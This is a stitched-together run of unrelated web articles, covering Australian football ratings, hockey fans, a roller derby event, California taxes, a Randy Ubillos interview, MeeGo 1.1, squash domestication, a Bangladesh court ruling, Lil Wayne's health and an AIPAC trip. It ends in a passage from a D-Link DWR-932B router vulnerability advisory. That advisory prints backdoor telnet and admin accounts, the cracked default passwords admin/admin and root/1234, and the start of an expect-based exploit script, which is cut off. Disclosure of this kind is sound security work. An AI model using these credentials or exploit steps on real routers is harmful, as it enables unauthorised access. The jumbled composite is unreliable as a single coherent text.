IT WAS a tough round to be an inside midfielder with many deserving engine-room players missing out on selection in this week's Team of the Week, brought to you by Accor Hotels. The ones that could not be ignored were Matt Crouch, Dayne Beams and Luke Parker, while Stephen Coniglio and Dan Hannebery snuck in but had to line up on the wings. Unlucky to miss out were the likes of Marc Murphy, Nathan Jones, Luke Shuey and Tom Rockliff. Jasper Pittard, Elliot Yeo and Zac Williams were edged out of a backline that featured a couple of young guns and a few experienced defenders, including Lachie Henderson and Jordan Lewis, who played his best game for the Demons. Harry Taylor's goal-kicking heroics in the absence of Tom Hawkins gave him the nod, while Josh Kennedy locked himself into the full forward position – and possibly the Coleman Medal with six goals. Robbie Gray and Ben Reid missed out, with Cam Pedersen and Lewis Taylor doing enough to pinch the opposite pockets. The social media head-to-head went the way of Lance Franklin, who easily accounted for Josh Jenkins with 67 per cent of the Twitter vote going the way of the big Swan. • Nine things we learned from round 21 ANDREW McGRATH (Essendon) – Not only kept Eddie Betts goalless and well below his usual influence, but had 25 disposals, took eight marks and had five rebounds in an impressive game. JEREMY McGOVERN (West Coast) – Solid in defence for the Eagles with 20 disposals at 80 per cent efficiency. Also took 11 marks and had 11 intercept possessions against the Blues. LUKE BROWN (Adelaide) – Held Essendon's danger man Anthony McDonald-Tipungwuti goalless and to just eight touches while amassing 17 disposals and four marks himself. JAMES SICILY (Hawthorn) – The feisty backman had 12 intercept possessions from his 27, took nine marks and had six rebounds, which saw him only just get the nod from teammates Luke Hodge and Jack Gunston. LACHIE HENDERSON (Geelong) – Led the competition (equal with Michael Hibberd and Sicily) for intercept possessions with 12. Staged a stingy defence along with Zach Tuohy, Andrew Mackie and Tom Lonergan, and took eight marks with five rebounds. JORDAN LEWIS (Melbourne) – Along with Nathan Jones, was a steadying influence for the Demons when the game was on the line. Had 25 touches and took seven marks, and was huge late in the game. DAN HANNEBERY (Sydney Swans) – Part of a dominant midfield in a landslide win. Had 29 disposals, seven inside 50s, five tackles and six marks. MATT CROUCH (Adelaide) – Was the Crows' prime ball mover with 35 possessions (20 contested), with an efficient disposal rate of nearly 83 per cent, and seven clearances plus two goal assists. STEPHEN CONIGLIO (Greater Western Sydney) – Showed his importance with 25 disposals in the talent-heavy Giants midfield. Won eight clearances – five in the centre – and laid six tackles. Stephen Coniglio reads the play brilliantly and makes the Dogs pay. #AFLDogsGiants pic.twitter.com/isuqitEC6z — AFL (@AFL) August 11, 2017 JACK BILLINGS (St Kilda) – Ended with a puffy eye but not before being a shining light for the Saints. Had 30 possessions and took nine marks, and was let down only by his inaccuracy in front of goal (1.3). HARRY TAYLOR (Geelong) – Had to be the man in attack with Tom Hawkins suspended and relished with the extra responsibility. Reduced Alex Rance's influence, but importantly kicked four goals, which went a long way to helping the undermanned Cats to their unexpected win. WATCH: Harry dominated down at the Cattery An awkward bounce was all Harry Taylor needed to kick his third goal. #AFLCatsTigers pic.twitter.com/buVeafRFl8 — AFL (@AFL) August 12, 2017 CHAD WINGARD (Port Adelaide) – There were a few Power standouts in their win over Collingwood, but Wingard's 32 touches on return from a two-week ankle injury put him a notch above with his influential last quarter. Also drove his team with 601m gained (third overall for the round) and took eight marks. CAM PEDERSEN (Melbourne) – Showed his worth as a support ruckman and in attack with 26 possessions, two goals, eight marks and six tackles in a different-looking Demons' forward line. JOSH KENNEDY (West Coast) – Six more goals takes the star spearhead to 60 for the season – one clear of Joe Daniher in the race for the Coleman Medal. Was the difference in the Eagles' 17-point win over the Blues. WATCH: Look out Coleman, Kennedy is coming LEWIS TAYLOR (Brisbane Lions) – Showed his creativity with 25 disposals at 96 per cent efficiency (he missed just one target), booted two goals and had three assists. MATTHEW KREUZER (Carlton) – Took control of the battle with Nathan Vardy and helped midfield teammates Marc Murphy and Bryce Gibbs match it with the Eagles' engine room. Had 33 hit-outs, seven tackles, five clearances and 17 disposals. DAYNE BEAMS (Brisbane Lions) – Easily best on ground in the QClash. Had 32 touches, kicked four goals, contributed with four assists and had a whopping 13 scoring involvements. Got his team back in the game after a poor start and kicked goals at important times. LUKE PARKER (Sydney) – Like Beams, got the job done in the midfield and up forward with 29 disposals, three goals and 14 score involvements. Also won seven clearances and took the ball inside 50 six times. PATRICK DANGERFIELD (Geelong) – Returned from suspension and stepped up in the absence of fellow midfielders Joel Selwood and Mitch Duncan. Had 30 disposals (21 contested), 11 clearances, 10 tackles and eight inside 50s. DYLAN SHIEL (Greater Western Sydney) – All eyes have been on Josh Kelly recently, but it was Shiel and Coniglio this week. Was a midfield force with 30 touches, five tackles and five inside 50s, despite his shoulder issues. CLAYTON OLIVER (Melbourne) – Took control of the stoppages with seven clearances, and also contributed with six tackles and 32 possessions, which went with an 81.3 per cent efficiency rating. The fans' pick LANCE FRANKLIN (Sydney Swans) – Easily won the fan vote from Adelaide's Josh Jenkins for his four goals and 24 possessions against Fremantle. Started well against draftee Griffin Logue before being somewhat tempered by Joel Hamling, but it was still a return to form for the big forward. .@Buddy_Franklin or @JoshJenkins24? Vote now for the final spot in the round 22 Team of the Week, thanks to @Accorhotels. — AFL (@AFL) August 14, 2017 • Check out the best 22 from previous rounds

The famed Green Men are heading for greener pastures. Known for their hijinks beside the visitors’ penalty box at Vancouver Canucks’ home games, the two men, known as Force (Adam Forsyth) and Sully (Ryan Sullivan), dress up in green spandex suits and try their best to torment opposing players in the sin bin. In a YouTube video released last week, they announced this will be their last season. “After five years of being idiots in spandex, we want to be idiots in skin.” MORE SPORTS GALLERIES: Porn stars linked to professional sports stars The biggest duds for each of 30 MLB teams in ’14 That got us thinking, “Who are some other famous hockey fans?” So we compiled a list you can click through in the gallery above. Then, vote on the poll below.

Find An Event Create Your Event Help March 15, 2014 - Silicon Valley Roller Girls - Flat Track Roller Derby San Jose Skate San Jose, CA Share this event: The Silicon Valley Roller Girls are hosting an action-packed derby doubleheader on Saturday, March 15th at San Jose Skate, located at 397 Blossom Hill Rd, San Jose. The Silicon Valley Hard Drivers will take on the Monterey Bay Derby Dames at 6pm in an edge-of-your-seat bout. Then at 8pm watch the Silicon Valley KillaBytes go head to head with Pacific Coast Recycled Rollers. Ticket prices are $12 in advance or $18 at the door for general admission; $8 advance or $10 at door for kids ages 6-12; and kids 5 and under get in free. For $30, a VIP ticket offers premier seating in our trackside VIP section. Our VIPs take advantage of upgraded cushioned chairs, tables, a dedicated SVRG waitress and the very best view of the entire track. Doors open at 5:30pm. A portion of bout proceeds will be donated to Veggielution Community Farm, a non-profit organization that believes everyone deserves to eat healthy, affordable food and puts fresh fruits and vegetables onto the plates of low-income families in San Jose. Get Tickets There are no active dates for this event. Online ticket sales have ended, but tickets will still be available for $18 general & $10 children at the door. Not Available Location San Jose Skate 397 Blossom Hill Road San Jose, CA 95123 United States Categories Sports > Roller Derby Kid Friendly: Yes! Dog Friendly: No Non-Smoking: Yes! Wheelchair Accessible: Yes! Contact Owner: Silicon Valley Roller Girls On BPT Since: Jun 19, 2008 SVRG Bout Production Production@svrollergirls.com www.svrollergirls.com Ask a question... Ask!

The proposal: Brown has proposed generating $12 billion in new revenue by extending higher income and sales taxes and vehicle license fees. He’ll have to get it on the ballot over Republican opposition and then win voter approval. How do California taxes compare with those in other states? These charts are part of a series examining budget issues in the wake of Gov. Jerry Brown’s warning that Californians should brace themselves for deep cuts in public services, even as they are being asked to pay more by extending taxes for five years. Go to our summary page to see some key areas affected by Brown’s budget proposal and see how California stacks up compared with the four other most populous states – Texas, New York, Florida and Illinois. Or go directly to a page by clicking a link below. Where do California schools stand currently among the states? How does California’s park access compare with other states? How does the cost of public college in California compare with other states? How do other states handle welfare programs? How does California’s prison system compare with other states?

If you spent time trying out interesting new Macintosh software in the early 90s, you might recognise the name Randy Ubillos. In those days software companies used to credit application developers in the splash screen they displayed while the software started up. Bill Atkinson was credited as MacPaint’s creator in 1984, Thomas and John Knoll were amongst those credited with Adobe Photoshop in 1990. I saw Randy’s memorable name for the first time in the splash screen for Premiere 1.0 when I opened it in 1992: [image by Riccardo Mori from his System Folder blog] In April 2015 Randy Ubillos retired from Apple after many years developing video and photo applications such as Final Cut Pro and Aperture. In the 90s he wrote Adobe Premiere 1.0. He started his Mac career working at SuperMac Technologies, a Mac peripheral maker. Earlier this summer I interviewed Randy on stage at the Bay Area SuperMeetUp in San Jose, California. The evening was part of series of events organised by video user groups in the US and in Europe. The next Supermeet event takes place in September in Amsterdam and features special guest Walter Murch, who’s worked as sound or picture editor on films with George Lucas, Francis Coppola, Sam Mendes and Brad Bird. 1991 – Adobe Premiere Alex Gollner: Let’s start at the very beginning… The program that became Premiere… Randy Ubillos: …originally known as ReelTime. …was actually demo software. Tell us about that I was working for SuperMac and they were working on something called DigitalFilm – one of the very first digital video recording cards. It did quarter frame standard definition – they were pushing the limits of the JPEG chips that were available at the time and we needed some software to try it out. In about 10 weeks I put together a demo and we’d bring in people and show them editing on a computer and it was going over pretty well. The marketing department had just gotten out of software at SuperMac and they weren’t sure what to do with it and so as it got close to shipping the card in late 1991 my software was sold to Adobe and they released it as Premiere 1.0. So they sold the software and didn’t involve you? Adobe were specifically prohibited from offering me a job, because SuperMac didn’t want to lose me, so I could ask Adobe but I had to specifically do that. I went to lunch with Tim Myers and Eric Zocher from Adobe and we sat down at lunch, there was small talk and eventually they said “So…” and I said “OK. I would like to inquire about a job at Adobe.” There were two of them so they could later corroborate the story and said “That works,” and we started talking about it. So Adobe Premiere version 1: Were you the only programmer on it? You developed it all yourself? Yes. It took about 10 months. What did you base your plan for the software on? I had got into video at high school. At my school in Miami, Florida they had a television in every room. Morning announcements were done over the TVs. I’d installed some of the TVs, we had a TV studio and after the last period, we’d record TV commercials for the Drama club or sports clubs and in the morning we’d put together the morning announcements and in the first period we’d play that back. I got to learn about editing on 3/4″ tape decks. Editing was ‘Find your edit points, zero the counters, back ’em up by five counts, and hit ‘Play’ and roll forward’ a very manual process. I learned the concepts of editing there. Going through that on the app is where concepts of tracks came up. So up until then you weren’t following what Avid and other digital film products were doing? I’d never seen that stuff. In May of that year we were at Digital World down in Hollywood, and I got to have dinner with some of the people from Avid. They came into SuperMac’s room and seeing this software running on a Mac and playing back digital video. There were definitely some people at Avid who could see that this stuff was going to start migrating down. So over the next two or three years you created another three versions of Premiere and got to version 4 in a very short period of time. There were a couple of other guys that joined the team, so by the time we got to Premiere 4, there were three or four of us. So at that point who was Premiere aimed at? We weren’t really sure at the time. It was a new thing. Tim Myers [Premiere product manager] and I spent a bunch of time going down to Hollywood; talking to movie studios… we talked to the guys from The Simpsons, we were talking to James Cameron. We were looking at Premiere as a pre-visualisation tool. You could cut something together initially, but the quality level wasn’t nowhere near film. The Simpsons would do their animatics on it. Because the Digital Film card was around $5,000 – a very expensive card – SuperMac came out with the VideoSpigot – a very inexpensive card. It sold for around $500. It pulled in 1/16th size Standard Definition video, but it was the first time you could plugin in video from a tape or a camcorder into your computer, record it and play it back. Although the marketing people weren’t sure what people were going to do with it, it was cheap ebough for people to buy it to play with it for a while. Although it was being used by professionals, you weren’t expecting people to do professional things with it yet? Around the time of version 2 or version 3, we hired Loran Kary to do all the EDL work. We realised that although we weren’t recording at the quality that could go back out to film, we could do an offline edit, create an edit list and do an online with it, or even go to a film cut list [that a negative cutter could use to go back to the source camera footage to make the film master]. We could control a tape deck with RS232, pull stuff in and keep track of all the timecode. We could pull in 3, 4, 5 hours of footage, make your edit – choosing just the pieces you needed, we could go back and redigitise those at a higher quality. We were getting closer and closer to doing actual online stuff. Radius, VideoVision and RasterOps had some cards. They competed with each other on who had the best features. Someone got to 60 frames per second, someone else got to full screen. 1995 – Final Cut Pro We had been running very quickly, doing versions of Premiere in under a year. I took a month off to decompress and I got a phone call from one of the board members of Macromedia [Adobe’s main competitor in 1995]. They had a big diagram of what they wanted to do. They had a paint program, a vector program and they wanted a video program. They wanted me to come and start a video product. So I went there and we hired a bunch of people. It was going to take 18 months and we were going to have this great video product. It was going to be in the same vein as Premiere, but restarted. Computers had gotten faster. We were going to do a cross-platform application: Windows and Mac. It didn’t take 18 months. Two years in… three years in… Version 1.0s are incredibly difficult to do because you have no metric on how fast you are moving on things. Once you get to 1.0 you know how long that took, so you can guage better how long things take. They are also difficult to do because you set your sights so high. We had done a whole design of a 3D scene layout editor so you could visualise a scene and pick where you were going to put your cameras. We shouldn’t have spent time on that stuff while working on a 1.0. That was kind of crazy. There was a script editing feature, there was all this stuff. We were having fun speccing it up, but we didn’t get coding faster. It was hard to find the right set of stuff. Everything seemed super important enough to put into the version 1.0, but the reality is you’ve got to find that right set of stuff. You’ve got to get it all to work together and put more into 2.0 and more into 3.0. But Macromedia was bought by Adobe, so what happened to this video software? By 1998 it was becoming clear to us that Macromedia wan’t going to be releasing our video editor. We knew we were going to be ending up somewhere, but we didn’t know where. At NAB [National Association of Broadcasters show, the main US trade fair for TV technology], Steve Jobs did the keynote and his speech pissed everyone off: “All you guys in the broadcast industry, computers are gonna come along and do all this stuff better” – he ruffled a ton of feathers. While talking with him back stage was the first point where I realised that Apple might buy our team. It was 1998 and I had friends saying ‘Don’t go to Apple, they’ll be out of business in a year.’ What Steve saw was taking the whole line of computers that Apple was producing and squishing it down to a very small number of machines that all the energy should be focussed into, but they needed applications to bring people to the platform. He knew that the PowerMac G3 – the first one with a DV connector on it – meant that you didn’t have big expensive digitising hardware: you were going to be able to plug directly in and get really good quality for the time digital video. You were going to be able to manipulate it, store a reasonable amount of it and you were going to be able to edit it. At what point did you realise that being bought by Apple might be good news? I don’t know if I thought about it that much. We’d been going for about three years on the project, we went over to them and we had more work to do. Apple wanted to re-look at what it looked like. It turned out to be a good thing. We got to a point right before NAB in ’99 we just said “We are going to show this thing at NAB come hell or high water” and we got the nicest present from Avid because that was the NAB they announced they were leaving the Mac. So there were all these Mac people at NAB saying “I hear Apple have got this new thing” so we got all these customers on a silver platter. So Final Cut Pro 1.0 comes out and knocks most people’s socks off, and brings in so many more people. Weirdly enough Steve asks a whole different technical team to make an editing tool for ‘real people’ – ‘the rest of us.’ Did you want to be involved? That happened when we were very compartmentalised. I knew there was something going on, that was a very small team – three or four people – working on that. I thought they were doing cool stuff, but it was something I wasn’t focussed on. What was the target for Final Cut Pro? The centre of the target, which I still think is very similar today, is software for the aspirational part of the market. People who want to do something good, most of them not making their living doing video – they would like to some day. They are interested in video and they spend a lot of their spare time doing it. That’s the centre of the target. It goes out into a broad spectrum. You always find at the higher end, including Hollywood, they are always looking for ways to cut costs. They’re always try to find new stuff that’s lower cost. 2006 – iMovie At what point did you start paying attention to what iMovie was – in terms of what it meant to you? I worked on Final Cut up to version 5 I think, when we got software-based real time video effects. At the time my husband and I were taking digital pictures and putting them up on our website and I wanted a better way to work with pictures. I wanted to do more than stick up a grid of pictures, I wanted to put a travel journal journal together – to be able to tell stories along with pictures, so the idea for Aperture came out of that. I started a team – there were six or seven of us who developed that and got that out through version 1.0. So I’d been away from video for some time and it was nice to come back to it with fresh eyes. We were going on a dive trip and I’d just gotten an HD video camera that we used underwater, and we were in a cage with great white sharks. We had hours of footage that was going to be ‘blue, blue, shark! Blue, blue, blue, shark!’ which was going to be a nightmare to edit. I started to think of better ways to do that. So I had the idea that with filmstrips, you just wave your cursor over them, and that’s where iMovie clip skimming came from. Also being able to click and drag to select like you would text to pull something together. iMovie’s codename was RoughCut, it was conceived originally as a front end to Final Cut – for creating a rough edit for Final Cut. I worked with a graphic designer to make it look good. When I did a demo of it to Steve [Jobs] in about three minutes he said “That’s the next iMovie.” So I asked when it was supposed to ship, and he said “Eight months.” The iMovie team was six months into the next cycle. They had been looking for something different: a way to make things easier and simpler. We knew from day one eight months is not enough time to do a whole new application. We knew we weren’t going to have all the features people wanted in iMovie ’08. We were not surprised at all when that went out. The set of features we said we were going to deliver we delivered. iMovie had been around for quite a while – it was living on some pretty old code. But moving that forward meant we could move very quickly [as iMovie ’08 was all new code]. Did you start thinking of your audience in a different way? A lot of it was looking at it from my own perspective. I was doing more video myself. Camera and storage costs had come way down, getting to the point where you could do everything on a laptop. It was becoming very personal, so I spent working on versions of iMovie for the Mac and on the phone with some great teams. 2011 – Final Cut Pro X As Apple seemed to ‘get away with’ that painful relaunch of iMovie, did that help them make the decision about doing the same for Final Cut Pro? One of the things I like about working at Apple was that Apple didn’t have a problem with starting over again – if that was the right thing to do. You don’t want to talk about ‘sunk cost.’ The effort you’ve put in in the past has gone. From now on, what is the best way to go forward? It doesn’t matter if we spent six months working on some feature. That doesn’t matter. Is it the right feature? If so, great, continue forward with it. If you don’t do that with a product and somebody else who doesn’t have the history, the legacy you’re trying to hold on to will jump in and take things out from under you. The Final Cut Pro team was trying to figure out what they wanted to do next. X was a big shift. I had a big part in convincing people it was the right thing to do. I will say that I had a different idea of the way the launch might have gone… [audience laughter] My idea was that Final Cut 7 should stay exactly as it was for about a year, and every time you bought a copy of X you got a copy of 7. They didn’t want to hear it. I knew 16 months before the launch that I was going to have a bunch of arrows in my back. I was going to be blamed for this big transition. It’s the Apple way of doing things: ‘Feet first, jump in!’ The very last conversation I had with Steve Jobs was right after the launch of Final Cut Pro X. I was getting ready to get on a plane to go to London to record the second set of movie trailers – we’d hired the London Symphony Orchestra [to perform the music that was going to be bundled with the next version of iMovie] – and Steve caught me at home: “What the heck is going on with this Final Cut X thing?” I said “We knew this was coming, we knew that people were going to freak out when we changed everything out from under them. We could have done this better. We should have. Final Cut 7 should be back on the market. We should have an FAQ that lists what this is all about.” He said “Yeah, let’s get out and fund this thing, let’s make sure we get on top of this thing, move quickly with releases…” and he finished by asking: “Do you believe in this?” I said “Yes.” He said “then I do too.” That was from the top – you had the authority to make the big changes. I wish it could have gone differently. I absolutely believed it and still do believe it was the right thing to do: that Final Cut X is a better editor than Final Cut 7 was. It’s more popular, it’s bringing more people into editing than ever were before. People who have never used an editor before find Final Cut X much easier to learn than Final Cut 7. Talking of bringing new people to editing, what does iMovie for iOS mean to you? It’s always been phenomenal, the fact that people can people can have an HD editing studio in their pocket – it’s ready to go for editing. People take pictures all the time and publishing them. They tend not to do it as much with video. One of the reasons for that is that historically people have felt that to make a video is this giant involved process. People have this idea that it has to be more complicated than it is, but I enjoy showing people how to make personal movies… …Randy then went on to give a presentation on how to use Apple tools to make personal films. Thanks to Randy for the interview. I’m looking forward to his next 1.0 – despite the disruption it is bound to cause. Thanks to Benjamin Brodbeck for the audio recording and to the Supermeet team for the opportunity to interview Randy. See you in Amsterdam in September!

After MeeGo 1.0, which was unveiled back in June 2010, you can now welcome the MeeGo 1.1 for handsets. It is now available for download so you can give it a try straight away if you have a Nokia N900 and you are feeling adventurous enough to dual boot it along with Maemo. As we said on our Previous Leak Here ... MeeGo 1.1 is coming to N900 on October, And it Does! As the video below reveals, the new MeeGo 1.1 brings U-Boot support to the Nokia N900, which means dual booting MeeGo and Meamo is finally possible as it was announced some time ago. This OS will Makes you Forget All about Maemo... brings Cool New features and Great Simple GUI on a very smooth platform. Any Question about installing Instructions please let us know in the Comments! Video of N900 Running MeeGo 1.1 Below! Update! Screenshots of MeeGo1.1 This Release includes: Core OS 1.1 – consolidated common base operating system for all UXs Netbook UX 1.1 - complete set of core applications for netbooks In-Vehicle Infotainment (IVI) UX 1.1 - includes a sample IVI home screen and taskbar built with Qt 4.7 and speech recognition Handset UX 1.1 - technology snapshot implements basic development UX for voice calling, SMS messaging, web browsing, music and video playback, photo viewing, and connection management SDK 1.1 Beta - SDK for MeeGo Core OS and supported UXs will be released during the coming days before the MeeGo Summit conference in Dublin. "The 1.1 Core OS provides a complete set of enabling technologies for mobile computing. The MeeGo stack contains Linux Kernel 2.6.35, X.org server 1.9.0, Web Runtime, Qt 4.7, and Qt Mobility 1.0.2, supporting the contacts, location, messaging, multimedia, and sensor and service frameworks. It also includes a number of leading edge components, such as the oFono telephony stack, the ConnMan connection manager, the Tracker data indexer, the Telepathy real-time communications framework, the Buteo sync framework, and many more. These technologies are brought to application developers through the MeeGo API, which is based on Qt and other technologies, such as the MeeGo Touch Framework. Furthermore, with the latest Qt version 4.7 the MeeGo developer experience is now enhanced with the introduction of QML, the easy to use scripting technology for animated touch-enabled GUI apps." Source: MeeGo.com Download here

In Anthropology, Dinosaurs & Fossils, Research News, Science & Nature / 23 November 2015 By John Barrat New research by a team of archaeologists has revealed a curious connection between our traditional Thanksgiving dinner and the taste buds of prehistoric mammoths and mastodons. Today, domestic pumpkins and squash are in a close co-evolutionary agricultural relationship with humans, with big benefits for both species. “If you think in terms of the total number of squash plants now growing in the world, squash has been a big beneficiary of domestication,” says archaeologist Bruce Smith of the Smithsonian’s National Museum of Natural History, and co-author of a study just published in the Proceedings of the National Academy of Science. Tens of thousands of years ago in North America squash (Cucurbita spp.) had very different evolutionary partners—mastodons, woolly mammoths and elephants—a relationship that influenced its gourds to be much smaller—baseball-sized—than what we know today and with bitter toxic flesh. Bitterness was the plant’s natural defense against small herbivores and rodents which would have nibbled away and eaten the gourd’s seeds. Cucurbitacin, a compound that caused the bitter flavor, is also a toxin. Mastodons, mammoths and other giant herbivores ate these wild gourds and swallowed the seeds because their taste buds didn’t register the bitterness. Their bodies also were large enough to absorb the toxins without harm. Squash seeds found in fossilized mammoth dung is clear evidence that these prehistoric giants ate the bitter squash and that the wild plant relied on them to disperse its seeds, the scientists report in their paper. “The plant’s strategy was to allow large herbivores to eat its gourds, and then the seeds would pass through and be deposited some distance away with a little fertilizer in the form of mastodon/mammoth poop to help them to start growing,” Smith says. The strategy worked. Wild squash was once prolific across the North American landscape. Following this theory, paper co-author Logan Kistler of Pennsylvania State University and colleagues, analyzed the genomes—an organism’s complete DNA profile, including all of its genes—of an array of mammals of various sizes, specifically looking at genes that allow taste detection of bitter compounds. Small mammals with diverse diets tended to have more genes for bitter-taste reception, they found. Larger animals such as elephants have fewer of these genes and therefore have less of an ability to taste bitter plant compounds. In Africa today several bitter species of squash are eaten and dispersed by elephants, the scientists point out. When mastodons and mammoths went extinct in the Americas, wild squash too, saw drastic decline, archaeological evidence shows. “The plants lost their primary means of seed dispersal,” Smith says. At that time, squash switched partners in its evolutionary dance. “Initially, humans probably ate the seeds of the wild gourds after some washing to get rid of the bitter taste,” Smith says. Over thousands of years “humans selected for non-bitter forms… so they would have grown them and cultivated them and then selected through the seeds, finding seeds that had less bitterness and planting them selectively.” Rather than small and bitter, some domesticated squash gradually became large and sweet, like pumpkins and butternut squash. “The gourds certainly would have responded over a series of generations to the selection that humans were placing them under,” Smith says. Genetic evidence shows domestication occurred for squash in a number of areas in North and Central America at around the same time during the Holocene. Cucurbita may have been domesticated at least six different times in six different places, Kistler told Penn State News. “There is a huge amount of diversity in some of the domestic species and between them as well,” Kistler adds. “Cucurbita pepo is probably the most variable, with jack-o-lantern pumpkins, acorn squash, zucchinis and others. Cucurbita moschata contains the butternut squashes and the kind of pumpkin that goes into the cans that a lot of folks will be baking into pies…” (“Gourds and squashes (Cucurbita spp.) adapted to megafaunal extinction and ecological anachronism through domestication,” Proceedings of the National Academy of Sciences; Logan Kistlera, Lee A. Newsoma, Timothy M. Ryana, Andrew C. Clarke, Bruce D. Smith and George H. Perrya)

Bangladesh’s High Court on Monday summarily rejected a 28-year-old writ petition seeking the removal of Islam as the state religion of the Muslim-majority country. Former military dictator HM Ershad declared Islam the state religion through a constitutional amendment in 1988 to win popular support in the face of a campaign by major political parties to oust him from power. On Monday, a bench of three judges made the decision on the ground that the committee under which the petition was filed in 1988 had no legitimacy as it was not a registered body, said Murad Reza, an additional attorney general who opposed the petition on behalf of the government. Also, almost half of the group of 15 eminent citizens who filed the petition have died, and Islamist groups have at various times described the petitioners as “atheists”. The decision means Islam will stay as the state religion in the nation’s charter, which also speaks of equal rights for other religious minorities, Reza said. “The writ petition was filed by the Autocracy and Communalism Resistance Committee but this committee was never registered with the government. The citizens filed the petition under this committee’s banner, they did not sign it individually. So I think the rejection was rightly done,” Reza said after the court gave its ruling. In 2011, Prime Minister Sheikh Hasina brought back secularism as a pillar of the Constitution, but retained Islam as the state religion, understandably because of its popular support in a country where more than 90% of the population is Muslim. Subrata Chowdhury, the lead lawyer for the petitioners, said he had no clear idea why his petition was rejected. “We will be able to talk about this in detail after seeing the full observation of the court,” Chowdhury said. “We have to wait for that.” Hefajat-e-Islam, a major Islamist group, welcomed the court’s decision. “This is the victory of the Muslim ummah,” said Mujibur Rahman Hamidi, a leader of the group. Fazlul Karim Kashemy, another leader of the group, said non-Muslims’ rights will not be affected by the decision. “We have been living together for long, we will stay like this. Our co-existence will not be affected,” he said as his supporters surrounded him outside the court. First Published: Mar 28, 2016 16:47 IST

This article is from the archive of our partner . Just a few weeks ago, rapper Lil Wayne was not in good shape. He was checked into the ICU for six days, reportedly high on sizzurp, but he somehow managed to evade death even though the usually-right-about-celebrities-dying "reporters" at TMZ said he was on his way to higher ground. Now Weezy is telling everyone to relax, and not to worry, he's just epileptic. "The bad news is I'm an epileptic. I'm prone to seizures. This isn't my first, second, third, fourth, fifth, sixth, seventh seizure. I've had a bunch of seizures, ya'll just never hear about them," Wayne told Los Angeles's Power 106 FM. He further explained his recent stay thusly: "But this time it got real bad 'cause I had three of them in a row and on the third one, my heart rate went down to like 30 percent. Basically, I could’ve died, so that is why it was so serious." So, this is the first time the world is hearing about Wayne's brush with death from the rapper himself, and his version of the hospitalization heard around the world cuts against what we were told at the time: that Wayne more or less overdosed on sizzurp—a mix of prescription strength cough syrup with codeine and soda—and that he was hanging onto life by his fingernails. Even TMZ, which has consistently been the accurate source of news on the death of celebrities like Michael Jackson and Whitney Houston, reported that Wayne he was receiving his last rites—a report TMZ later retracted. That did not go over well with Wayne, who compared the celebrity news outlet to his misbehaving children: That’s what they do. I can’t be upset at that. I get upset at my kids when they do things that I tell them not to do. I can’t be upset at TMZ for doing what they do. They gon’ probably come out tomorrow and say something else about somebody else that ain’t true. That’s what they do. The truth isn’t good enough for them, so they gotta twist everything up. Wayne's version of the events, of course, does not mention sizzurp—he traced the hospitalization back to his seizure problem, and stress. "[T]he reason being for the seizures is just plain stress, no rest, overworking myself. That's just typical me though." Wayne is planning a 40-show tour, which begins on July 5. This article is from the archive of our partner The Wire.

Rep. Steny Hoyer (D-Md.), the second-ranked Democrat in the U.S. House of Representatives, is leading fellow Democrats on a tour of Israel funded by AIPAC’s educational affiliate. Two freshmen, Reps. Lois Frankel (D-Fla.) and Hakeem Jeffries (D-N.Y.) announced they were joining this week’s tour, which will include meetings with Israeli and Palestinian leaders as well as tours of U.S.-funded defense systems, including the short range Iron Dome anti-missile program. wikicommons Rep. Steny Hoyer (D-Md.), the second-ranked Democrat in the U.S. House of Representatives will lead the delegation of 37 Democrats on a trip to Israel. Share Pinterest Email Such tours, funded by the American Israel Education Foundation, the educational affiliate of the American Israel Public Affairs Committee, routinely take place during the August recess every off-election year, and Hoyer, the minority whip, has led a number of them. They are designed to introduce freshmen to Israel-related issues. An AIPAC official confirmed that 37 Democrats altogether will be going, although not all of them are freshmen. The Democratic tour, which lasts about a week, usually is followed up by a similar tour for Republican freshmen, led in recent years by Rep. Eric Cantor (R-Va.), the House majority leader and the highest ranked Jewish member of Congress. Frankel’s release said such a GOP tour was in the works; a JTA question to Cantor’s office, posed over the weekend, was pending. This story "Thirty Seven House Democrats To Head To Israel on AIPAC Trip" was written by JTA.

Product Description Dlink is a multinational networking equipment manufacturing corporation. Vulnerabilities Summary The Dlink DWR-932B is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network. It's a model based on the (in)famous Quanta LTE router models and inherits some vulnerabilities. The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc). The summary of the vulnerabilities is: A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown. This router is still on sale. Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information. Details - Backdoor accounts By default, telnetd and SSHd are running in the router. Telnetd is running even if there is no documentation about it: user@kali:~$ cat ./etc/init.d/start_appmgr [...] #Sandro { for telnetd debug... start-stop-daemon -S -b -a /bin/logmaster #if [ -e /config2/telnetd ]; then start-stop-daemon -S -b -a /sbin/telnetd #fi #Sandro } [...] 2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router. admin@homerouter:~$ grep admin /etc/passwd admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh admin@homerouter:~$ The password for admin is 'admin' and can be found in the /bin/appmgr program using IDA: About the root user: user@kali:~$ cat ./etc/shadow root:aRDiHrJ0OkehM:16270:0:99999:7::: daemon:*:16270:0:99999:7::: bin:*:16270:0:99999:7::: sys:*:16270:0:99999:7::: sync:*:16270:0:99999:7::: games:*:16270:0:99999:7::: man:*:16270:0:99999:7::: lp:*:16270:0:99999:7::: mail:*:16270:0:99999:7::: news:*:16270:0:99999:7::: uucp:*:16270:0:99999:7::: proxy:*:16270:0:99999:7::: www-data:*:16270:0:99999:7::: backup:*:16270:0:99999:7::: list:*:16270:0:99999:7::: irc:*:16270:0:99999:7::: gnats:*:16270:0:99999:7::: diag:*:16270:0:99999:7::: nobody:*:16270:0:99999:7::: messagebus:!:16270:0:99999:7::: avahi:!:16270:0:99999:7::: admin@kali:~$ Using john to crack the hashes: user@kali:~$ john -show shadow+passwd admin:admin:admin:/:/bin/sh root:1234:16270:0:99999:7::: 2 password hashes cracked, 0 left user@kali:~$ Results: admin has password admin root has password 1234 Working exploit for admin: user@kali:~$ cat quanta-ssh-default-password-admin #!/usr/bin/expect -f set timeout 3 